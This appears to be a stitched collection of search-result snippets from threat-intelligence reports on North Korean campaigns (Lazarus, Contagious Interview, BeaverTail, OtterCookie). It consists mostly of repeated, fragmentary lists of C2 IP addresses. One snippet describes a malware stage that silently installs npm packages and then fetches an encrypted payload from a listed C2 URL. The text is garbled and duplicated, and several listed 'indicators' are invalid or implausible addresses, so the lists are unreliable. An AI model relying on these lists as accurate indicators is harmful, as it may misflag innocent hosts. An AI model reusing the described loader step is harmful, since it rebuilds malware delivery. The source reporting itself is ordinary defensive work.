have been confirmed as Lazarus C2 infrastructure: 216.126.229.166:1224 was flagged by ThreatBook , and 216.126.227.239 was identified by Red Asgard as Contagious Interview FTP infrastructure. jsonkeeper.com as payload host: Using JSON storage services for…","…that had no prior history in our documentation of this operator or this infrastructure cluster. 195.201.104.53 144.172.89.198 216.126.227.239 Before getting to what those entries mean, it is worth explaining what recentservers.xml is.…","…same /16 range have been confirmed as Lazarus C2 infrastructure: 216.126.229.166:1224 was flagged by ThreatBook ⁠ (opens in new tab) , and 216.126.227.239 was identified by Red Asgard ⁠ (opens in new tab) as Contagious Interview FTP infrastructure. jsonkeeper.com as payload host: Using JSON…","…Other IPs in the same /16 range have been confirmed as Lazarus C2 infrastructure: 216.126.229.166:1224 was flagged by ThreatBook , and 216.126.227.239 was identified by Red Asgard as Contagious Interview FTP infrastructure.…","…147.124.214.129 147.124.214.131 147.124.214.237 165.140.86.227 172.86.84.38 172.86.98.240 185.153.182.241 185.235.241.208 216.126.229.166 23.106.253.194 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.242 23.227.202.244 23.254.164.156…","…40.86.154 165.140.86.160 165.140.86.181 165.140.86.227 172.86.73.198 172.86.109.49 172.86.113.115 172.86.116.90 172.86.123.55 176.222.52.77 216.126.229.166 GolangGhost C2…","…66.236 172.86.66.247 172.86.70.173 172.86.93.139 172.86.98.240 173.211.106.101 185.153.182.241 185.235.241.208 191.96.31.38 195.201.172.170 216.126.229.166 23.106.253.194 23.106.253.209 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.244 38.92.47.151 38.92.47.85 38.92.47.9…","…downloads the next stage: npm install axios socket.io-client --no-warnings --no-progress --loglevel silent It then requests: http://216.126.236.244/api/service/98cb54c0b4ac259d30c9c1ca1ae87c68 The response is formatted as <base64 IV>:<base64 ciphertext> and the payload derives an AES…","…High-confidence examples include jsonkeeper.com paste IDs, api.npoint.io paste endpoints, 107.189.20.115 , 216.126.237.71 , 95.216.26.109:6211 , and analyse sessions on port 1244 ; see Indicators of Compromise below for the fuller list used in this post.…","…Static deobfuscation of the stage-2 payload reveals a full Remote Access Trojan (RAT) and information stealer that connects to 216.126.237.71 via Socket.IO, with capabilities including browser credential theft, crypto wallet extraction, screenshot capture, clipboard monitoring,…","…Seen 84.200.33.163 /302/ From 2026-09-30 144.172.103.226 /301/ , /302/ From 2026-06-30 38.146.27.178 /302/ From 2026-09-10 216.126.239.166 /69/ 2026-09-22 3.…","….39 164.155.255.81 51.254.25.115 174.133.72.250 97.0.1.80 188.213.167.248 122.224.9.113 212.192.241.203 211.167.73.23 101.115.99.97 1.1.5.0 216.170.114.67 66.42.63.27 143.202.163.165 1.0.0.109 67.211.220.139 91.92.109.16 184.154.150.66 217.23.12.63 108.179.192.85 45.195.143.203 47.102.38.154 5…","…The JavaScript in the software development company’s repository had two further BeaverTail C2 servers hard-coded IP addresses, 216.173.115.200 and 95.179.135.133 . Lumanagi While investigating the Indian software development company’s repository and the “Lumanagi” lure…","…May-25 Mythic C2 23.27.48.113 Apr-25 Red Guard (C2 Redirector) 166.88.14.137 Apr-25 Cobalt Strike (Watermark: 391144938) 216.173.64.63 Feb-25 XWorm 166.88.90.22 Feb-25 AsyncRAT 23.27.169.4 Feb-25 Viper C2 166.88.98.221 Feb-25 Cobalt Strike (Watermark: 0)…","…Sep-25 Remcos 156.227.0.60 Sep-25 Rhadamanthys Stealer 96.126.191.167 Sep-25 Xworm 108.165.147.181 Sep-25 SuperShell C2 216.173.65.45 Sep-25 Remcos 166.88.194.123 Aug-25 Cobalt Strike (Watermark: 0) 23.27.163.245 Aug-25 VenomRAT 23.27.169.64 Aug-25 DCRAT…","…175 61.160.222.11 110.32.117.110 82.98.235.63 188.120.194.101 2.23.43.1 20.195.196.49 3.3.14.2 209.141.61.124 58.218.200.107 66.171.248.178 216.18.197.130 103.183.118.30 185.117.72.143 104.168.160.209 58.221.71.73 121.12.104.29 159.89.214.31 174.133.126.27 115.16.79.72 206.161.205.142 216.255.…","…RouterHosting LLC 216.126.224.220 AS14956 RouterHosting LLC 216.126.237.71 AS14956 RouterHosting LLC 216.198.79.1 AS36352 AS-COLOCROSSING 23.27.202.27 AS149440 Evoxt Sdn.…","…Lure Domain panthertalents.xyz High Lure IP 170.205.31.182 High - IP 216.198.79.1 High - IP 198.54.127.82 High - IP 170.205.29.83 High - IP…","…Bhd. 216.198.79.3 - - Autonomous systems (9) ASN Owner AS14956 RouterHosting LLC AS24940 Hetzner Online GmbH AS32097…","…IP 216.219.87.41 74.50.94.175 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…IP 216.219.87.41 74.50.94.175 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details,…","…IP 159.100.13.216 213.145.86.223 216.219.87.41 64.20.59.148 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…IP 159.100.13.216 213.145.86.223 216.219.87.41 64.20.59.148 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For subscription details,…","…During analysis of Lazarus’ ContagiousInterview payloads, Gen researchers found that an IP address (216.219.87.41) later reappeared in Kimsuky-linked payloads (e.g., cce27340fd6f32d96c65b7b1034c65d5026d7d0b96c80bcf31e40ab4b8834bcd).…","…Viewing the mailbox of nastiagoman@dsantoro.es on emailfake.com I was able to check their mailbox directly to reveal their active IP of 216.227.145.218 , which is an exit IP for Astrill VPN.…","…11.21.6.181 211.22.147.226 211.22.184.184 211.72.35.109 211.72.35.118 211.72.116.247 211.75.42.136 211.75.74.223 212.129.10.242 216.45.56.2 216.227.145.218 217.138.212.194 Appendix D: IP Ranges in China Observed Administering PurpleBravo Infrastructure IP Address…","…Used for account registration and logging into Validin 194.33.45.162 Used for account registration and logging into Validin 216.24.215.231 Used for logging into Validin 38.170.181.10 Used for account registration and logging into Validin 45.86.208.162 Used for…","…impersonates Ritual): ritualPlay-Net/RitualPlay , 0G-Labs-IO/MGVerse , bitbucket.org/0g_labs/rollplay-i Sibling stage-2 C2s: 216.250.249.176:1224 (Majestic Hosting / SpinServers, AS396073, Carrollton TX); 104.192.42.117:3000 (EuroHoster / AS207728, per AllSecure) Wider-cluster…","…It returned a server that appears in none of the repositories, 216.250.249.179 , a machine found by looking at the building, not the tenants.…","…( /api/settings/{os} , 403/404) Additional stage-2 hard C2s ( :1224 ): 51.178.11.177 (OVH; hardcoded in 9 repos); 216.250.251.187 , 147.124.212.180 (Majestic); 216.250.249.179 , live 2026-07-12, found via Shodan, in no repo Stage-2 hosting hub: Majestic Hosting…","…141.94.148.39 historical 147.124.212.180 historical 147.124.212.207 historical 151.80.76.66 historical 167.114.215.75 historical 216.250.251.187 historical 216.250.252.245 historical 54.39.43.114 historical 54.39.43.117 historical 51.178.11.177 historical 51.178.11.179…","…IPv4 130.65.230.100 2026-02-26 2026-02-26 IPv4 103.65.230.100 2026-02-26 2026-02-26 IPv4 216.250.251.211 2026-02-26 2026-02-26 IPv4 147.124.213.19 2026-01-21 2026-02-26 IPv4 67.203.7.205 2026-01-21…","…js | | d7c36881f91c45b66b32ec0c80f2d49ff90d76d2d147f2d208c6eea48842618c | OtterCookie caption - sha256 IP 216.250.251.211 216.250.251.87 45.59.163.23 45.59.163.55 38.92.47.152 103.65.230.100 147.124.213.19 66.235.175.117 66.235.175.109 147.124.202.225…","…vscode-load.onrender.com 2026-01-20 2026-02-26 IPv4 147.124.213.232 2026-01-12 2026-02-26 IPv4 216.250.251.87 2026-01-12 2026-02-26 IPv4 45.59.163.55 2026-01-12 2026-02-26 IPv4 66.235.175.109 2025-11-13…","…IP Hostname ASN Role 147.124.213.232 WR232 AS396073 (Majestic Hosting) Primary C2 147.124.212.125 W9_125 AS396073 Secondary C2 216.250.251.87 WIN-8OA3CCQAE4D AS396073 Backup 45.43.11.199 WIN-4MOD9QVI0EN AS397423 (TIER-NET) Router (offline) 66.235.63.55 - AS397423 MetaMask…","…C2 Active 66.235.168.238 1244, 22411-22413 BeaverTail + binary protocol Active 45.59.163.55 1244 BeaverTail victim C2 Active 216.250.251.87 1247 BeaverTail backup Active 172.86.105.40 5918 OtterCookie victim C2 Active 172.86.116.178 5918 OtterCookie victim C2 Active…","…type OS release OS version Following the upload, it establishes a socket connection with the C&C server at 216.250.251.87:1247 . caption - Socket connection routine Once connected, it receives a code value from the C&C server and performs actions based on…","…from both campaigns. BeaverTail C2s (confirmed): 147.124.213.232, 147.124.212.125, 147.124.214.129, 66.235.168.238, 45.59.163.55, 216.250.251.87 OtterCookie C2s (confirmed): 172.86.105.40, 172.86.116.178, 86.106.85.234, 144.172.104.117, 144.172.101.45 Detection…","…historical 147.124.212.207 historical 151.80.76.66 historical 167.114.215.75 historical 216.250.251.187 historical 216.250.252.245 historical 54.39.43.114 historical 54.39.43.117 historical 51.178.11.177 historical 51.178.11.179 historical 51.178.11.188…","…1.189.152.131 188.227.57.46 206.51.237.93 114.115.184.62 159.89.9.74 185.141.26.231 31.202.130.93 185.219.223.119 83.217.8.61 190.111.9.129 216.250.99.5 219.153.51.47 37.49.229.26 190.14.37.100 200.98.144.84 1.9.0.0 155.138.254.3 223.5.5.5 45.9.150.36 75.127.1.211 192.227.173.33 61.135.159.1…","….197.130 103.183.118.30 185.117.72.143 104.168.160.209 58.221.71.73 121.12.104.29 159.89.214.31 174.133.126.27 115.16.79.72 206.161.205.142 216.255.189.85 12.4.11.53 39.100.159.8 63.219.176.248 176.96.138.103 81.161.229.110 107.189.6.214 66.220.17.157 103.74.105.78 104.37.168.41 65.98.83.114 3…","…1.21.6.136 211.21.6.181 211.22.147.226 211.22.184.184 211.72.35.109 211.72.35.118 211.72.116.247 211.75.42.136 211.75.74.223 212.129.10.242 216.45.56.2 216.227.145.218 217.138.212.194 Appendix D: IP Ranges in China Observed Administering PurpleBravo Infrastructure…","…C2 http://216.74.123.191:8080 http://95.169.180.146:8080 ← Previous Crypto Tool or Data Thief? How Meme-Token-Hunter-Bot and Its Clones Steal…","…Threat Actor: GoldRock@DESKTOP-N4VEL23 38.170.181.10 Threat Actor: Lenovo@3-RKS 38.170.181.10 Threat Actor: Super@3-AHR-2 217.138.198.34, 89.187.161.220 Threat Actor: degen@Alli 167.88.61.148 Threat Actor: firebird@3-KJH 146.70.63.2 BitMEX 2,685…","…22.147.226 211.22.184.184 211.72.35.109 211.72.35.118 211.72.116.247 211.75.42.136 211.75.74.223 212.129.10.242 216.45.56.2 216.227.145.218 217.138.212.194 Appendix D: IP Ranges in China Observed Administering PurpleBravo Infrastructure IP Address Ranges in…","…e.online lianxinxiao.com sageskills-uk.com www.dalas.nl 146.70.253.107 141.98.168.79 69.10.53.86 60.93.32.117 103.35.188.237 23.227.203.204 217.148.142.113 0.10.51.212 45.61.151.174 23.227.203.192 23.227.202.51 23.227.202.52 172.86.116.90 144.172.97.7 95.179.135.133 37.60.234.203 107.172.31.179…","…241.203 211.167.73.23 101.115.99.97 1.1.5.0 216.170.114.67 66.42.63.27 143.202.163.165 1.0.0.109 67.211.220.139 91.92.109.16 184.154.150.66 217.23.12.63 108.179.192.85 45.195.143.203 47.102.38.154 5.16.16.2 77.78.240.167 65.243.103.80 69.20.25.160 76.73.68.175 61.160.222.11 110.32.117.110 82…","…224 31.192.209.89 085.195.91.34 18.156.82.84 84.252.122.205 031.192.209.119 217.23.15.140 205.252.24.246 202.189.6.85 85.239.55.212 9.2.4.2 217.23.15.139 217.26.209.10 63.219.178.162 129.2.4.2 173.208.139.170 185.141.24.216 212.129.31.67 85.255.112.36 46.243.189.101 185.141.25.168 94.242.253.…","…9 209.62.108.213 69.50.165.18 60.14.48.73 172.86.96.111 3.71.39.224 31.192.209.89 085.195.91.34 18.156.82.84 84.252.122.205 031.192.209.119 217.23.15.140 205.252.24.246 202.189.6.85 85.239.55.212 9.2.4.2 217.23.15.139 217.26.209.10 63.219.178.162 129.2.4.2 173.208.139.170 185.141.24.216 212.1…","…03 81.161.229.110 107.189.6.214 66.220.17.157 103.74.105.78 104.37.168.41 65.98.83.114 3.3.3.255 61.32.117.110 178.23.190.157 198.23.172.90 217.23.6.131 222.186.60.89 74.82.216.27 3.70.247.229 47.103.45.174 161.35.227.89 172.98.73.57 212.117.176.187 103.175.16.113 209.127.20.13 154.7.253.191…","….89 085.195.91.34 18.156.82.84 84.252.122.205 031.192.209.119 217.23.15.140 205.252.24.246 202.189.6.85 85.239.55.212 9.2.4.2 217.23.15.139 217.26.209.10 63.219.178.162 129.2.4.2 173.208.139.170 185.141.24.216 212.129.31.67 85.255.112.36 46.243.189.101 185.141.25.168 94.242.253.106 23.82.19.2…","…공유하기 게시글 관리 꿈을꾸는 파랑새 ' 소프트웨어 팁 > 보안 및 분석 ' 카테고리의 다른 글 Coinbase 로 위장한 클릭픽스(ClickFix)사이트-217.60.37.55(2025.8.3) (0) 2025.08.06 마이크로소프트 엑셀 외부 워크북 링크 비활성 정책 변경 (0) 2025.08.05 북한 해킹 단체 김수키(Kimsuky)에서 만든…","…분석 ' 카테고리의 다른 글 국세청 사칭 북한 코니(Konni) 에서 제작한 해외금융계좌 신고서.hwp.lnk(2025.7.25) (2) 2025.08.08 Coinbase 로 위장한 클릭픽스(ClickFix)사이트-217.60.37.55(2025.8.3) (0) 2025.08.06 마이크로소프트 엑셀 외부 워크북 링크 비활성 정책 변경 (0) 2025.08.05 북한 해킹 단체 김수키(Kimsuky)에서 만든…","…2025.08.11 국세청 사칭 북한 코니(Konni) 에서 제작한 해외금융계좌 신고서.hwp.lnk(2025.7.25) (2) 2025.08.08 Coinbase 로 위장한 클릭픽스(ClickFix)사이트-217.60.37.55(2025.8.3) (0) 2025.08.06 마이크로소프트 엑셀 외부 워크북 링크 비활성 정책 변경 (0) 2025.08.05 북한 해킹 조직 APT37(리퍼,Reaper) 추측 서울 ADEX 2025 노린…","…북한 해킹 단체 APT 37((리퍼,Reaper)에서 만든 RokRAT 악성코드-250615_양곡판매소 운영 현황.hwp(2025,06,18) (0) 2025.08.11 Coinbase 로 위장한 클릭픽스(ClickFix)사이트-217.60.37.55(2025.8.3) (0) 2025.08.06 마이크로소프트 엑셀 외부 워크북 링크 비활성 정책 변경 (0) 2025.08.05 북한 해킹 단체 김수키(Kimsuky)에서 만든…","…2025.08.13 국세청 사칭 북한 코니(Konni) 에서 제작한 해외금융계좌 신고서.hwp.lnk(2025.7.25) (2) 2025.08.08 Coinbase 로 위장한 클릭픽스(ClickFix)사이트-217.60.37.55(2025.8.3) (0) 2025.08.06 마이크로소프트 엑셀 외부 워크북 링크 비활성 정책 변경 (0) 2025.08.05 북한 해킹 단체 김수키(Kimsuky)에서 만든…","…2026 Infrastructure Rotation 217.69.11.57 February 2026 Secondary Staging 217.69.11.99 Feb – March 2026 Peak Campaign Activity 217.69.0.159 March 13, 2026 ForceMemo Active Wave 45.76.44.240 March 13, 2026 Parallel Execution Node Blastradius: Systemic Impact and Ecosystem…","…Decoded: http://217.69.0.159/NUTAqa6tLAe9ht824PEzhQ%3D%3D The path component is a base64-encoded AES ciphertext used as a session token.…","…Period Primary Function 45.32.151.157 December 2025 Initial Payload Hosting 45.32.150.97 February 2026 Infrastructure Rotation 217.69.11.57 February 2026 Secondary Staging 217.69.11.99 Feb – March 2026 Peak Campaign Activity 217.69.0.159 March 13, 2026 ForceMemo Active…","…217.69.11.60 2025-11-27 Offline Campaign launch 45.32.151.157 2025-12-06 -- 2026-01-12 Offline Longest-lived node (37 days) 217.69.11.57 2026-01-22 -- 2026-02-09 Offline 45.32.150.97 2026-02-09 -- 2026-02-14 Offline Shortest-lived (5 days) 217.69.11.99 2026-02-25 --…","…2025 Initial Payload Hosting 45.32.150.97 February 2026 Infrastructure Rotation 217.69.11.57 February 2026 Secondary Staging 217.69.11.99 Feb – March 2026 Peak Campaign Activity 217.69.0.159 March 13, 2026 ForceMemo Active Wave 45.76.44.240 March 13, 2026 Parallel…","…(37 days) 217.69.11.57 2026-01-22 -- 2026-02-09 Offline 45.32.150.97 2026-02-09 -- 2026-02-14 Offline Shortest-lived (5 days) 217.69.11.99 2026-02-25 -- 2026-03-10 Offline OPSEC failure: plaintext memo 45.76.44.240 2026-03-13 Offline Brief overlap with 217.69.0.159…","…0.45 107.189.11.54 13.112.233.199 45.32.176.234 122.224.9.67 45.58.116.102 6.0.6.0 14.114.114.114 122.224.51.149 81.177.26.27 34.255.217.70 217.8.117.63 87.19.73.8 62.210.130.250 65.19.154.100 1.8.0.0 65.98.83.116 44.238.74.84 198.12.91.160 47.243.229.22 192.210.149.242 207.54.136.33 94.228.…","…188.227.57.46 206.51.237.93 114.115.184.62 159.89.9.74 185.141.26.231 31.202.130.93 185.219.223.119 83.217.8.61 190.111.9.129 216.250.99.5 219.153.51.47 37.49.229.26 190.14.37.100 200.98.144.84 1.9.0.0 155.138.254.3 223.5.5.5 45.9.150.36 75.127.1.211 192.227.173.33 61.135.159.183 89.117.2.34…","…2.124.120.200 120.55.196.60 59.46.12.25 193.29.15.147 9.142.66.240 185.117.73.222 88.208.17.127 23.152.0.101 59.58.1.63 1.3.6.1 93.185.4.90 219.235.1.72 194.165.4.39 209.62.108.213 69.50.165.18 60.14.48.73 172.86.96.111 3.71.39.224 31.192.209.89 085.195.91.34 18.156.82.84 84.252.122.205 031.…","…\"file\": { \"destination\": \"/private/tmp/.test\", \"process\": { \"pid\": 1026, \"name\": \"UltraEdit\", \"path\": \"/Volumes/UltraEdit 22.0.0.16/UltraEdit.app/Contents/MacOS/UltraEdit\", ... } } } …while the file (remotely named bd.log ) will be saved to /Users/Shared/.fseventsd…","…2 4.82.216.57 45.66.230.56 4.5.77.0 197.149.90.166 185.217.197.84 199.19.226.25 167.114.0.144 12.4.0.158 94.23.26.205 85.195.115.20 2.0.0.0 22.186.3.65 4.0.0.0 49.1.1.52 167.71.14.135 23.249.163.163 185.172.128.11 200.98.146.241 185.125.230.210 3.4.6.7 27.0.092.168 12.101.97.71 122.228.7.22…","….123 91.92.241.15 100.100.100.200 91.92.242.30 1.2.4.0 155.94.0.7 0.1.2.3 198.18.0.1 240.0.0.1 198.51.100.1 124.0.0.0 35.100.6.1 35.100.6.2 22.6.5.72","…January 2025 210.179.30.213 IP Likely legitimate but compromised server January 2025 221.144.93.250 IP Likely legitimate but compromised server January 2025 118.194.228.184 IP Likely…","…4.131.108.78 94.102.60.207 69.31.84.223 70.38.40.185 42.51.159.222 84.16.234.103 209.62.108.220 209.141.42.149 170.85.221.107 94.142.138.97 222.139.151.114 18.159.59.253 121.207.229.145 61.92.48.59 103.213.247.48 20.254.53.47 104.168.32.203 198.12.107.229 20.40.97.94 37.115.98.97 2.4.0.0 141.98…","…1.35 31.210.20.22 62.210.10.120 58.49.58.20 154.12.92.53 94.228.169.123 89.188.16.18 69.50.170.100 115.238.251.56 91.243.44.21 107.175.3.10 222.186.50.35 185.183.98.14 167.99.39.23 195.88.208.210 112.101.40.34 9.5.11.0 64.190.113.230 69.50.175.178 60.217.234.138 188.34.187.110 4.55.37.210 18.…","….110 107.189.6.214 66.220.17.157 103.74.105.78 104.37.168.41 65.98.83.114 3.3.3.255 61.32.117.110 178.23.190.157 198.23.172.90 217.23.6.131 222.186.60.89 74.82.216.27 3.70.247.229 47.103.45.174 161.35.227.89 172.98.73.57 212.117.176.187 103.175.16.113 209.127.20.13 154.7.253.191 91.243.44.22…","…(may be shared origin) 2 204.12.227.114 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 222.252.194.204 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 222.252.194.29 ipv4 insider August 2024…","…(may be shared origin) 2 222.252.194.204 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 222.252.194.29 ipv4 insider August 2024 November 2024 Threat actor proxy address (may be shared origin) 2 23.237.145.36 ipv4 insider August 2024…","…102.147.106 135.125.177.94 193.233.132.177 185.254.97.190 46.8.237.66 89.202.157.139 154.39.239.56 121.88.5.184 85.208.108.63 167.99.115.33 222.73.85.117 149.28.222.244 104.223.67.151 162.250.98.10 185.156.73.73 193.233.254.0 194.38.20.211 198.15.82.162 179.60.149.194 193.242.145.138 194.180.…","…the IP address and location do not match the previously observed Touch VPN exit nodes, but rather a residential China Mobile IP address (223.104.144.97) located in Jiaxing, China.…","…100000) 198.105.127.98 May-24 DPRK Lazarus (through domain resolution) 198.105.127.124 May-25 PoC Exploit for Critical Zero Day 223.165.6.30 Jul-24 VenomRAT 38.211.230.5 Jul-25 Dark Peony (Operation Controlplug) 38.246.73.120 Jun-25 Dark Peony (Operation Controlplug)…","….130.93 185.219.223.119 83.217.8.61 190.111.9.129 216.250.99.5 219.153.51.47 37.49.229.26 190.14.37.100 200.98.144.84 1.9.0.0 155.138.254.3 223.5.5.5 45.9.150.36 75.127.1.211 192.227.173.33 61.135.159.183 89.117.2.34 38.255.43.23 5.189.134.216 80.66.75.34 23.88.122.128 192.3.31.211 94.131…","…Appendix C: Astrill VPN Nodes Astrill VPN Nodes: 5.42.206.34 23.104.209.6 23.106.161.1 23.106.169.120 23.160.56.155 23.228.120.12 23.237.33.110 23.237.102.130 31.7.63.94 37.120.151.162 37.120.154.98 37.120.210.2 3…","…Hurricane Electric (US) 208.68.173.244 29838 Atlantic Metro Communications (US) 23.105.155.2 396362 Leaseweb New York (US) 23.237.32.34 174 Fdcservers (US)…","…actors: 155.94.255.2 174.128.251.99 194.33.45.162 198.255.45.131 199.115.99.34 204.188.233.66 208.115.228.234 209.127.117.234 23.106.161.1 23.106.169.120 38.170.181.10 38.32.68.195 45.86.208.162 66.118.255.35 70.32.3.15 70.39.103.3 70.39.70.194 77.247.126.189 91.239.1…","…07.174.131.204 155.94.255.2 189.1.170.50 194.33.45.162 198.23.241.254 199.115.99.34 204.188.233.66 208.115.228.234 209.127.117.234 23.106.161.1 23.106.169.120 23.83.129.1 38.170.181.10 38.32.68.195 38.75.137.213 45.86.208.162 66.118.255.35 70.32.3.15 70.36.99.82 70.39.103.…","…Appendix C: Astrill VPN Nodes Astrill VPN Nodes: 5.42.206.34 23.104.209.6 23.106.161.1 23.106.169.120 23.160.56.155 23.228.120.12 23.237.33.110 23.237.102.130 31.7.63.94 37.120.151.162 37.120.154.98 37.120.210.2 38.170.181.10…","…155.94.255.2 174.128.251.99 194.33.45.162 198.255.45.131 199.115.99.34 204.188.233.66 208.115.228.234 209.127.117.234 23.106.161.1 23.106.169.120 38.170.181.10 38.32.68.195 45.86.208.162 66.118.255.35 70.32.3.15 70.39.103.3 70.39.70.194 77.247.126.189 91.239.130.102…","…155.94.255.2 189.1.170.50 194.33.45.162 198.23.241.254 199.115.99.34 204.188.233.66 208.115.228.234 209.127.117.234 23.106.161.1 23.106.169.120 23.83.129.1 38.170.181.10 38.32.68.195 38.75.137.213 45.86.208.162 66.118.255.35 70.32.3.15 70.36.99.82 70.39.103.3 70.39.70.194…","…Appendix C: Astrill VPN Nodes Astrill VPN Nodes: 5.42.206.34 23.104.209.6 23.106.161.1 23.106.169.120 23.160.56.155 23.228.120.12 23.237.33.110 23.237.102.130 31.7.63.94 37.120.151.162 37.120.154.98 37.120.210.2 38.170.181.10 38.246.149.2 38…","…— Contagious Interview IOC lists 167.88.160.106 — FOFA tracking 45.61.131.218 — Travis Mathison 45.61.169.99 — Travis Mathison 23.106.253.194 — Travis Mathison 23.106.253.209 — Travis Mathison 144.172.105.235 — Socket.dev 172.86.98.240 1224, 1244 Travis Mathison…","…This section attempts to contain all consolidated network IoCs from published reports related to this long-running campaign. 23.106.253.194 45.61.129.255 45.61.130.0 45.61.131.218 45.61.160.14 45.61.169.187 45.140.147.208 67.203.7.171 67.203.7.245 77.37.37.81 91.92.120…","…23.106.253.194 N/A LEASEWEB SINGAPORE PTE.…","…147.124.214.131 147.124.214.237 165.140.86.227 172.86.84.38 172.86.98.240 185.153.182.241 185.235.241.208 216.126.229.166 23.106.253.194 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.242 23.227.202.244 23.254.164.156 38.92.47.151…","…167.88.164.29 167.88.168.152 167.88.168.24 172.86.100.168 172.86.123.35 172.86.97.80 172.86.98.240 173.211.106.101 185.235.241.208 23.106.253.194 23.106.253.209 23.106.253.215 23.106.70.154 23.254.244.242 45.140.147.208 45.61.129.255 45.61.130.0 45.61.131.218 45.61.158.54 45…","….247 172.86.70.173 172.86.93.139 172.86.98.240 173.211.106.101 185.153.182.241 185.235.241.208 191.96.31.38 195.201.172.170 216.126.229.166 23.106.253.194 23.106.253.209 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.244 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14…","…167.88.160.106 — FOFA tracking 45.61.131.218 — Travis Mathison 45.61.169.99 — Travis Mathison 23.106.253.194 — Travis Mathison 23.106.253.209 — Travis Mathison 144.172.105.235 — Socket.dev 172.86.98.240 1224, 1244 Travis Mathison 172.86.80.145 1224 Travis Mathison…","…67.88.168.152 167.88.168.24 172.86.100.168 172.86.123.35 172.86.97.80 172.86.98.240 173.211.106.101 185.235.241.208 23.106.253.194 23.106.253.209 23.106.253.215 23.106.70.154 23.254.244.242 45.140.147.208 45.61.129.255 45.61.130.0 45.61.131.218 45.61.158.54 45.61.158.7 45.61…","…173 172.86.93.139 172.86.98.240 173.211.106.101 185.153.182.241 185.235.241.208 191.96.31.38 195.201.172.170 216.126.229.166 23.106.253.194 23.106.253.209 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.244 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.130.43.97 45…","…147.124.214.237 165.140.86.227 172.86.84.38 172.86.98.240 185.153.182.241 185.235.241.208 216.126.229.166 23.106.253.194 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.242 23.227.202.244 23.254.164.156 38.92.47.151 38.92.47.85…","…67.88.168.24 172.86.100.168 172.86.123.35 172.86.97.80 172.86.98.240 173.211.106.101 185.235.241.208 23.106.253.194 23.106.253.209 23.106.253.215 23.106.70.154 23.254.244.242 45.140.147.208 45.61.129.255 45.61.130.0 45.61.131.218 45.61.158.54 45.61.158.7 45.61.160.14 45.61.1…","…39 172.86.98.240 173.211.106.101 185.153.182.241 185.235.241.208 191.96.31.38 195.201.172.170 216.126.229.166 23.106.253.194 23.106.253.209 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.244 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.130.43.97 45.137.213.30 45.…","…165.140.86.227 172.86.84.38 172.86.98.240 185.153.182.241 185.235.241.208 216.126.229.166 23.106.253.194 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.242 23.227.202.244 23.254.164.156 38.92.47.151 38.92.47.85 38.92.47.91…","…0 173.211.106.101 185.153.182.241 185.235.241.208 191.96.31.38 195.201.172.170 216.126.229.166 23.106.253.194 23.106.253.209 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.244 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.130.43.97 45.137.213.30 45.159.248.110 45.…","…172.86.84.38 172.86.98.240 185.153.182.241 185.235.241.208 216.126.229.166 23.106.253.194 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.242 23.227.202.244 23.254.164.156 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14…","…01 185.153.182.241 185.235.241.208 191.96.31.38 195.201.172.170 216.126.229.166 23.106.253.194 23.106.253.209 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.244 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.130.43.97 45.137.213.30 45.159.248.110 45.43.11.201 45.61…","…172.86.98.240 185.153.182.241 185.235.241.208 216.126.229.166 23.106.253.194 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.242 23.227.202.244 23.254.164.156 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.137.213.30 45.43.11.201…","…threat actors. Appendix A: Diamond Model Appendix B: C2 Servers BeaverTail C2 Servers: 14.37.47.13 23.106.70.154 23.227.202.244 38.92.47.85 38.92.47.91 38.92.47.118 38.92.47.151 38.92.47.152 38.92.47.155 45.43.11.201 45.59.163.23 45.59.163.56 45.61.128…","…2.86.100.168 172.86.123.35 172.86.97.80 172.86.98.240 173.211.106.101 185.235.241.208 23.106.253.194 23.106.253.209 23.106.253.215 23.106.70.154 23.254.244.242 45.140.147.208 45.61.129.255 45.61.130.0 45.61.131.218 45.61.158.54 45.61.158.7 45.61.160.14 45.61.169.187 45.61.1…","…241 185.235.241.208 191.96.31.38 195.201.172.170 216.126.229.166 23.106.253.194 23.106.253.209 23.106.253.215 23.106.253.221 23.106.253.242 23.106.70.154 23.227.202.244 38.92.47.151 38.92.47.85 38.92.47.91 45.128.52.14 45.130.43.97 45.137.213.30 45.159.248.110 45.43.11.201 45.61.128.61 45.61.…","….193.130.74 91.92.246.35 49.12.42.56 122.224.9.151 200.98.65.206 1.3.1.0 111.90.149.233 20.234.231.114 77.83.197.180 205.177.124.74 5.5.7.1 23.108.108.42 27.126.188.212 62.233.57.103 80.66.75.25 47.103.219.77 65.98.83.119 37.221.160.56 185.147.237.244 180.101.75.58 045.4.3.3 6.0.1.06 185.216.…","…of Compromise (IOCs) # C2 Endpoints # 135.181.123.177 138.201.50.5 144.172.105.235 144.172.112.106 146.70.253.107 23.127.202.249 23.227.202.244 http://fashdefi.store:6168/defy/v7 https://0927.vercel.app/api/ipcheck…","…37df04dbd54b51273251708f1d014a66387222f7599357e11d10fbbec0e5ba2d A new IP address 23.131.92.195 